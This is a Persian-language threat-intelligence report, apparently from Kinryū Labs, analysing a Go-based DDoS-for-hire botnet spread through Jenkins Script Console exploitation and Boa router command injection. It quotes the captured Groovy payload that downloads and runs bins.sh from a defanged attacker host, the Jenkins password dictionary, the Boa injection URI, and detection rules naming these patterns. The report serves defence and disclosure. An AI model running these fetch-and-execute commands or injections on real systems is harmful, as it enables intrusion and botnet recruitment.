malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

یک بات‌نت DDoS اجاره‌ای چندسکویی بر پایهٔ Go

‏Kinryū Labs فایل bot.exe، ساخت ویندوزیِ یک بات‌نت DDoS کامپایل‌شده با Go را تحلیل کرد که به‌صورت یک مجموعه‌دراپرِ ۱۱ باینری و ۱۳ معماری توزیع می‌شود و از طریق یک کارزار چندروزهٔ بهره‌کشی از Jenkins Script Console تحویل داده می‌شود. شناسایی میزبان استقرار یک API زندهٔ احرازهویت‌شدهٔ DDoS اجاره‌ای، یک کانال فرمان SSH بر پایهٔ Go، و یک خانوادهٔ هم‌میزبان از تبار Mirai را آشکار کرد. با اطمینان بالا ارزیابی می‌کنیم که این یک عملیات تجاری DDoS اجاره‌ای است.

نوشتهٔ Davis Zheng·

TLP:CLEAR. برای انتشار عمومی تأیید شد. نمونه و مجموعه‌دراپر آن توسط شبکهٔ حسگرهای هانی‌پات Kinryū Labs در جریان یک کارزار چندروزهٔ بهره‌کشی از Jenkins که در چندین حسگر مشاهده شد ضبط شدند. باینری‌های ضبط‌شده به‌صورت ایستا تحلیل شدند و اجرا نشدند؛ میزبان استقرار گرداننده با شناسایی فعالِ بیرونی مشخصه‌یابی شد (شمارش سرویس‌ها، فهرست‌گیری FTP ناشناس، و کاوش بدون احراز هویتِ یک API در معرض دید)، بدون آنکه هیچ احراز هویتی دور زده شود. نشانگرهای مهاجم خنثی‌شده‌اند (defanged).

خلاصهٔ مدیریتی

  • 13ساخت معماری، 11 باینری یکتا
  • 5شیوهٔ DDoS نام‌دار، به‌علاوهٔ یک API اجاره‌ای
  • 3نشانی IP مبدأ هماهنگ در یک /22
  • 2خانوادهٔ بات‌نت روی یک میزبان

bot.exe ساخت ویندوزی x86-64 یک بات‌نت DDoS کامپایل‌شده با Go است که به‌صورت یک مجموعه‌دراپر چندمعماری توزیع می‌شود. یک اسکریپت پوستهٔ همراه، bins.sh، سیزده ساخت معماری را بازیابی می‌کند که پس از حذف تکراری‌ها یازده مورد یکتا می‌شوند و x86 در 32 و 64 بیت، چهار نیم‌رخ ARM، ARM64، Android ARM64، و MIPS بزرگ‌بیتی و کوچک‌بیتی را در کنار باینری ویندوز پوشش می‌دهند. این مجموعه از طریق بهره‌کشی از یک سرور Jenkins در معرض دید به شبکهٔ هانی‌پات رسید.

بدافزار پنج شیوهٔ سیل‌آسای نام‌دار (HTTP، دست‌دهی TLS، ICMP، TLS مستقیم، و یک شیوهٔ حجمی با برچسب VOULT)، یک سیل HTTP که رشته‌های User-Agent مرورگر و سرآیندهای محلی (locale) را می‌چرخاند تا شبیه ترافیک مشروع شود، و محموله‌های تزریق فرمانِ هدف‌گرفتهٔ وب‌سرور Boa روی دستگاه‌های RealTek SDK را برای خودانتشاری در بر می‌گیرد. شناسایی میزبان استقرار در 185.226.93[.]242 یک API احرازهویت‌شدهٔ DDoS اجاره‌ای روی پورت 3333، یک سرویس SSH پیاده‌سازی‌شده با Go روی پورت 2222 که به‌عنوان کانال فرمان عمل می‌کند، و یک سرویس FTP ناشناس که خانوادهٔ بات‌نت دومی از تبار Mirai/Gafgyt را استقرار می‌داد شناسایی کرد.

‏Kinryū Labs با اطمینان بالا ارزیابی می‌کند که bot.exe بخشی از یک بات‌نت DDoS بدخواه، خودانتشار و چندمعماری است که به‌صورت یک سرویس تجاری اجاره‌ای اداره می‌شود. سه یافته این ارزیابی را حمل می‌کنند: رشته‌های شیوهٔ حمله و بهره‌کشیِ خودِ باینری؛ یک API اجاره‌ای زنده روی میزبان استقرار گرداننده که پارامترهای کار را اعتبارسنجی می‌کند و احراز هویت می‌طلبد؛ و تله‌متری هانی‌پات از یک کارزار پایدار و چندگره‌ای که این مجموعه را تحویل می‌داد.

داوری‌های کلیدی
  • bot.exe یک بات‌نت DDoS چندسکویی بر پایهٔ Go است. پنج رشتهٔ لاگ متمایز برای شیوه‌های سیل‌آسا، پارامترهای هدف و مدت را حمل می‌کنند، در کنار ماشین‌آلات جعل هویت مرورگر و پشتیبانی از SOCKS5، همه در رشته‌های مبهم‌نشده و تأییدشده با API زنده.
  • عملیات به‌صورت یک سرویس تجاری DDoS اجاره‌ای اداره می‌شود. میزبان استقرار یک API روی پورت 3333 در معرض دید می‌گذارد که پارامترهای کار (user، psw، host، method، time، port) را اعتبارسنجی می‌کند و اعتبارنامه‌های نامعتبر را رد می‌کند.
  • بات‌نت از طریق تزریق فرمان IoT خودانتشار می‌کند. باینری یک محمولهٔ تزریق فرمان Boa formSysCmd، یک مسیر حملهٔ بی‌رحمانه (brute-force) به ورودِ روتر، و توابع صادرشدهٔ loginDevice و loginDeviceCaptcha را حمل می‌کند و همان تک‌خطیِ دراپر ثبت‌شده در لاگ‌های هانی‌پات را تزریق می‌کند.
  • سه نشانی IP مبدأ یک گردانندهٔ واحدند. سه نشانی در 185.226.92[.]0/22 محموله‌های یکسانی را با زمان‌بندی هماهنگ و فهرست اعتبارنامهٔ مشترک تحویل دادند، و نشانی‌های IP تحویل و استقرار کلیدهای میزبان SSH یکسانی ارائه می‌کنند، که نشانهٔ یک میزبان یا ایمیج‌های همتاسازی‌شده است.

تحویل: یک کارزار پایدار Jenkins Script Console

مجموعه از طریق بهره‌کشی از یک نمونهٔ Jenkins در معرض اینترنت تحویل داده شد. تله‌متری هانی‌پات یک شیوهٔ دومرحله‌ایِ سازگار را ثبت کرد: یک GET /crumbIssuer/api/json برای بازیابی توکن CSRF، و پس از آن یک POST /script حامل یک محمولهٔ Groovy Script Console. محموله در همهٔ تلاش‌ها یکسان بود و اینجا خنثی‌شده است:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

درخواست‌ها یک سرآیند Authorization: Basic حمل می‌کردند که یک دیکشنری کوتاه از رمزهای عبور عددی ضعیف را برای حساب admin می‌چرخاند (admin:1123، admin:123451، admin:1231231، admin:1111111، admin:12345123)، امضای یک فهرست اعتبارنامهٔ خودکار، نه احراز هویت هدفمند.

کارزار طی چند روز در موج‌های مکرر اجرا شد:

  • موج 1نخستین کاوش‌ها: بررسی CSRF-crumb و پس از آن Groovy RCE، از نشانی IP استقرار و یک نشانی دوم در همان بلوک.
  • ضبطbins.sh و هر سیزده گونه در دو حسگر با فاصلهٔ حدوداً چهارده ساعت بازیابی شدند، در هر دو بایت‌به‌بایت یکسان.
  • موج‌های بعدیبهره‌کشی موازی از هر سه نشانی IP مبدأ در فاصلهٔ چند دقیقه از یکدیگر، با User-Agentهای چرخانده‌شده.

درخواست‌های بهره‌کشی مجموعهٔ بزرگی از User-Agentهای واقع‌نمای مرورگر را می‌چرخاندند، حال آنکه جاروب شناساییِ در پی اهداف بیشتر Jenkins (یک دریافت /login و پس از آن رگباری سریع از درخواست‌های /script) از Go-http-client/1.1 پیش‌فرض استفاده می‌کرد. User-Agentهای جعلی سوار بر محموله‌های بهره‌کشی‌اند؛ اسکنر از کلاینت بومی Go بات‌نت استفاده می‌کند. خودِ میزبان استقرار و C2 در بهره‌کشی مشارکت داشت، پس زیرساخت حمله و میزبانی از هم جدا نیستند.

بدافزار: یک پایگاه کد Go، یازده باینری

نوشتن بات با Go به یک پایگاه کد اجازه می‌دهد به هر هدفی که گرداننده بخواهد کراس‌کامپایل شود. دراپر کل خط تولید را می‌پیماید، هر ساخت را با wget و دوباره با curl به‌عنوان جایگزین می‌کشد، آن را اجرایی می‌کند، اجرایش می‌کند، و حذفش می‌کند. مجموعه شامل یک .exe ویندوزی است که دراپر لینوکسی همچنان آن را از chmod +x می‌گذراند، و ساختار تولیدشدهٔ اسکریپت به یک زنجیرهٔ ساخت‌ودریافت-فهرست اشاره دارد. پس از حذف تکراری‌ها، سیزده ساخت به یازده باینری یکتا کاهش می‌یابند: ساخت‌های x86 و i386 مطابقت دارند، و همچنین ساخت‌های عمومی ARM و ARMv7. گسترهٔ معماری، از MIPS و ARM قدیمی تا Android، نشانهٔ بات‌نتی است که روتر، دوربین و دیگر دستگاه‌های تعبیه‌شده را هدف گرفته؛ ساخت ویندوز همان کد را به رومیزی‌ها و سرورها می‌رساند.

باینری بسته‌بندی (packed) نشده (آنتروپی بخش‌های PE بین 5.4 و 6.3 قرار دارد) و برهنه (stripped) نشده (شناسهٔ ساخت Go و نمادهای runtime سالم‌اند)، پس قابلیت‌هایش در رشته‌های ساده می‌نشینند. مهر زمانیِ کامپایل صفر شده، که برای ساخت‌های Go عادی است.

پنج شیوهٔ سیل‌آسا در رشته‌های لاگ باینری نام‌گذاری شده‌اند، هر یک با یک هدف و یک مدت قالب‌بندی شده: یک سیل “HTTP (Optimized)”، یک سیل فرسایشی “Handshake” روی TLS/TCP، یک سیل “PING” روی ICMP، یک سیل نشستِ “TLS+” مستقیم، و یک شیوهٔ “VOULT”، حجمی و به احتمال زیاد بر پایهٔ UDP. هم گزینه‌های لایهٔ کاربرد و هم لایهٔ شبکه حاضرند.

سیل HTTP طوری ساخته شده که به‌عنوان ترافیک مشروع بگذرد. بیش از ده رشتهٔ User-Agent مرورگر را در Chrome، Edge، Opera، Firefox و Safari روی Windows، macOS، iPad و Android می‌چرخاند؛ پانزده محلیِ Accept-Language؛ و سرآیندهای اثرانگشتِ sec-fetch-* و sec-ch-ua-* که سرویس‌های مهارسازی بازرسی‌شان می‌کنند. یک Referer را از مجموعهٔ کوچکی از سایت‌های خوش‌اعتبار تنظیم می‌کند (google.com، reddit.com، facebook.com، bing.com، twitter.com، و fbi.gov). یک ورودی در مجموعهٔ User-Agent رشتهٔ عینی Hello World است، یک جانگهدار توسعه‌دهنده که یک امضای شناساییِ تمیز می‌سازد چون هیچ کلاینت مشروعی آن را نمی‌فرستد.

انتشار وب‌سرور Boa را هدف می‌گیرد، یک دیمن HTTP تعبیه‌شدهٔ کوچک که هنوز روی بسیاری از روترها و دوربین‌های RealTek SDK عرضه می‌شود. باینری یک محمولهٔ تزریق فرمان علیه دستگیرهٔ formSysCmd در Boa و یک مسیر حملهٔ بی‌رحمانه علیه رابط‌های مدیریتی روتر را حمل می‌کند، با فیلدهای اعتبارنامهٔ JSON و توابع صادرشدهٔ loginDevice و loginDeviceCaptcha. فرمان تزریق‌شده همان تک‌خطیِ دراپر است، پس یک دستگاه در معرض خطر به نقطهٔ تحویلِ دستگاه بعدی بدل می‌شود.

ماژول‌های Go واردشده (vendored) همه بسته‌های استاندارد golang.org/x هستند، بدون هیچ چارچوب C2 شخص ثالثی که پیوند خورده باشد. آن‌ها شامل chacha20poly1305، http2/hpack، dns/dnsmessage و http/httpproxy می‌شوند، که با قابلیت‌های قابل‌مشاهده هم‌خوانی دارند: یک کانال رمزنگاری‌شدهٔ احرازهویت‌شده، HTTP/2، DNS خام، و پراکسیِ SOCKS5 (رشته‌های socks5، socks connect و socksUsernamePassword حاضرند). پیکربندی C2 در زمان اجرا از hxxp://<C2>/config.dat بازیابی می‌شود؛ تنها نشانی سخت‌کدشده در باینری میزبان استقرار است.

فرمان‌ودهی و زیرساخت استقرار

شناسایی میزبان استقرار سرویس‌های زیر را شناسایی کرد:

پورتسرویسهدف
21/tcpvsftpd 3.0.3، ورود ناشناس فعالاستقرار بدافزار (خانوادهٔ دوم، پایین‌تر)
22/tcpOpenSSH 9.2p1 (Debian)دسترسی گرداننده
1001/tcpسرور Go net/httpاستقرار اصلی: bins.sh و گونه‌ها را عرضه می‌کند
2222/tcpGo SSH (SSH-2.0-Go)کانال فرمان بات
3333/tcpسرور Go net/httpAPI اجاره‌ای DDoS

دو یافته ارزیابی اجاره‌ای بودن را پشتیبانی می‌کنند. نشانی IP تحویل و میزبان استقرار کلیدهای میزبان SSH یکسانِ ED25519، RSA و ECDSA ارائه می‌کنند، که آن‌ها را روی یک ماشین یا روی ایمیج‌های همتاسازی‌شده از یک الگو قرار می‌دهد، و سرویس Go SSH پورت 2222 کلیدی متمایز از OpenSSH سیستمیِ پورت 22 ارائه می‌کند، که آن را یک برنامهٔ جداگانه نشان می‌دهد نه یک فورواردینگ. API پورت 3333 یک درخواست را به‌سبب پارامترهای غایب (user، psw، host، method، time/duration، port) رد می‌کند و برای اعتبارنامه‌های آزمایشی یک شکست احراز هویت بازمی‌گرداند، حال آنکه همهٔ مسیرهای دیگر 404 بازمی‌گردانند. این رابط کمینه و در هر درخواست احرازهویت‌شدهٔ یک بوکرِ (booter) تجاری است که روی زیرساخت زنده اجرا می‌شود.

خانوادهٔ دومی روی همان میزبان

سرویس FTP ناشناس یک خانوادهٔ بات‌نت جداگانه را استقرار می‌دهد که اینجا به‌سبب نام فایل‌هایش «boatnet» خوانده می‌شود. دراپر آن (ohshit1.sh) از کلاینت ftpget در BusyBox استفاده می‌کند، هر باینری را پیش از اجرا به WTF تغییرنام می‌دهد، و ساخت‌ها را در پس‌زمینه در سراسر پانزده معماری راه‌اندازی می‌کند، از جمله اهداف تعبیه‌شدهٔ غریب (ARC، m68k، SH4، SPARC) از تبار Mirai/Gafgyt. باینری‌ها ELF کامپایل‌شده با C، برهنه‌شده و بسته‌بندی‌شده‌اند (آنتروپی 7.6 تا 7.9 بدون هیچ ماژیک UPX، که نشانهٔ یک بسته‌بند سفارشی است)، پس اندکی از بازبینی ایستا جان به در می‌برد. آثار boatnet مقدم بر مجموعهٔ bot.exe‌اند و یک پایگاه کد بی‌ارتباط را اجرا می‌کنند، پس یک میزبان دو خانوادهٔ بات‌نت متمایز را استقرار می‌دهد.

میزبانی

هر دو نشانی IP مهاجم در 185.226.92[.]0/22 قرار می‌گیرند، که از طریق RIPE NCC به‌نام یک ارائه‌دهندهٔ VPS مستقر در ترکیه (نام شبکه BIGCORE-US، AS205196 / AS57152) با تماس سوءاستفادهٔ [email protected] ثبت شده است. ما ارائه‌دهندهٔ میزبانی را برای مقاصد گزارش‌دهی شناسایی می‌کنیم و هیچ ادعایی دربارهٔ هویت گرداننده نمی‌کنیم.

نشانگرهای نفوذ

زیرساخت مهاجم خنثی‌شده است. درهم‌های نمونه و رشته‌های شناسایی طبق طراحی مقادیر زنده را حمل می‌کنند.

شبکه

نشانگرزمینه
185.226.93[.]242میزبان استقرار + C2؛ همچنین یک اسکنر فعال
185.226.92[.]110اسکنر اصلی / گرهٔ تحویل
185.226.92[.]173اسکنر ثانویه
185.226.92[.]0/22تخصیص میزبانی (BIGCORE، AS205196). مسدودسازی محیطی معقول
185.226.93[.]242:1001استقرار HTTP (bins.sh + گونه‌ها)
185.226.93[.]242:2222کانال فرمان Go SSH
185.226.93[.]242:3333API اجاره‌ای DDoS (/api، پارامتردار)
185.226.93[.]242:21FTP ناشناس، استقرار boatnet
hxxp://<C2>/config.datالگوی بازیابی پیکربندی C2 در زمان اجرا
/boafrm/formSysCmd، /boafrm/formLoginURIهای Boa RCE و حملهٔ بی‌رحمانه به ورود، در انتشار خروجی
کلید میزبان SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…مشترک میان نشانی‌های IP تحویل و C2؛ نشانگر محوری

فایل‌ها

فایلSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (دراپر)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
درهم‌های کامل مجموعه‌دراپر (11 یکتا در 13 ساخت)
ساختSHA-256اندازه (بایت)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

آثار میزبان و اعتبارنامه

  • دیکشنری حملهٔ بی‌رحمانه به admin در Jenkins: 1123، 123451، 1231231، 1111111، 12345123.
  • ohshit1.sh (دراپر boatnet) و یک باینری که پیش از اجرا به WTF تغییرنام یافته.
  • User-Agentهای متمایزکننده: Hello World (سیل HTTP بات) و Go-http-client/1.1 (خودجاروبیِ بات).

رفتاری

  • ‏Jenkins GET /crumbIssuer/api/json و پس از آن POST /script حامل یک محمولهٔ Groovy ProcessBuilder('sh','-c', …) که bins.sh را می‌کشد.
  • درخواست‌های خروجی به یک میزبان زیر /config.dat، پیش‌آمده با یک خط لاگ Connecting to CNC....
  • POST /boafrm/formSysCmd ورودی با sysCmdselect=5 و بدنه‌ای شامل wget … bins.sh.

شناسایی

رشته‌ها پایدار و مبهم‌نشده‌اند، پس امضاها ساده‌اند. قاعدهٔ YARA زیر یک نامزد است که از رشته‌های تأییدشده ساخته شده؛ پیش از استقرار اعتبارسنجی کنید.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

شناسایی شبکه:

  • ‏Jenkins: بر سرِ بدنه‌های POST /script که حاوی ProcessBuilder با wget/curl به یک نشانی IP خام‌اند هشدار بده، به‌ویژه آنجا که پیش‌آمده با GET /crumbIssuer/api/json.
  • انتشار IoT: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • زیرساخت: 185.226.92[.]0/22 را که نشانی‌های تحویل و C2 را پوشش می‌دهد مسدود کن، و بر سرِ اتصال‌های خروجی به پورت‌های 1001، 2222 و 3333 در آن بازه هشدار بده.

رفع

  • ‏Jenkins را به اینترنت در معرض نگذار. آن را پشت احراز هویت و انزوای شبکه قرار بده، Script Console را برای غیرمدیران غیرفعال کن، و یک سرور ساختِ در دسترس را همچون خطر نفوذ به کل میزبان بدان. این بردار تحویل بود.
  • اعتبارنامه‌های قوی Jenkins را الزامی کن و احراز هویت را نرخ‌محدود ساز. کارزار بر یک دیکشنری کوتاه از رمزهای عبور عددی ضعیف برای admin تکیه داشت.
  • روترها و دستگاه‌های IoT بر پایهٔ RealTek/Boa را قطعه‌بندی یا جایگزین کن، و دسترسی بیرونی به رابط‌های مدیریتی‌شان را مسدود کن. این‌ها هدف انتشار بات‌نت‌اند.
  • تخصیص میزبانی را مسدود کن (185.226.92[.]0/22) در محیط، و بر سرِ URI حملهٔ Boa RCE و الگوی بازیابی config.dat هشدار بده.
  • خروج را فیلتر کن. میزبانی که به یک نشانی IP خام روی پورت 1001 برسد تا فایل‌های نام‌گذاری‌شده با معماری را بکشد، یا به پورت‌های 2222 یا 3333 در آن بازه متصل شود، ناهنجار و قابل‌گرفتن است، جایی که شناسایی سمت میزبان غایب است.
  • زیرساخت را گزارش کن. API اجاره‌ای DDoS و بدافزار استقریافته با FTP را می‌توان به تماس سوءاستفادهٔ ارائه‌دهندهٔ میزبانی گزارش داد ([email protected]).

نگاشت MITRE ATT&CK

تاکتیکتکنیک
Initial AccessT1190 Exploit Public-Facing Application (Jenkins Script Console؛ Boa formSysCmd برای انتشار)
Credential AccessT1110.001 Brute Force: Password Guessing (Jenkins admin)؛ T1110.004 Credential Stuffing (ورود IoT)
ExecutionT1059 Command and Scripting Interpreter (Groovy از طریق Script Console؛ دراپر پوستهٔ Unix)
DiscoveryT1046 Network Service Scanning (خودجاروبیِ Jenkins/IoT)؛ T1082 System Information Discovery؛ T1057 Process Discovery
Defense EvasionT1036 Masquerading (چرخش User-Agent مرورگر؛ تغییرنام WTF در boatnet)
Command and ControlT1071.001 Web Protocols (config.dat)؛ T1573 Encrypted Channel (ChaCha20-Poly1305؛ Go SSH روی 2222)؛ T1571 Non-Standard Port (1001/2222/3333)؛ T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer (استقرار چندمعماری)
ImpactT1498.001 Direct Network Flood (PING، VOULT)؛ T1498.002 Reflection Amplification (فرسایش دست‌دهی)

روش‌شناسی و یادداشت‌ها

  • دامنه: تحلیل ایستای باینری‌های ضبط‌شده که اجرا نشدند، و شناسایی فعالِ بیرونیِ میزبان استقرار (شمارش سرویس و بنر، فهرست‌گیری FTP ناشناس، و کاوش بدون احراز هویتِ API پورت 3333). هیچ احراز هویتی دور زده نشد.
  • قاعدهٔ YARA یک نامزد است که از رشته‌های تأییدشده ساخته شده؛ پیش از استقرار اعتبارسنجی کنید. باینری‌های boatnet بسته‌بندی شده‌اند و رشته‌های اندکی به دست دادند.
  • نمونه‌ها (مجموعهٔ bot.exe، دراپر، و آثار boatnet) به‌درخواست در اختیار دیگر پژوهشگران و مدافعان قرار می‌گیرند. به [email protected] با یادداشتی کوتاه دربارهٔ اینکه که هستید و چرا به آن‌ها نیاز دارید ایمیل بزنید.
How to cite
Kinryū Labs (2026). یک بات‌نت DDoS اجاره‌ای چندسکویی بر پایهٔ Go. https://kinryu.sh/fa/reports/go-ddos-botnet-for-hire/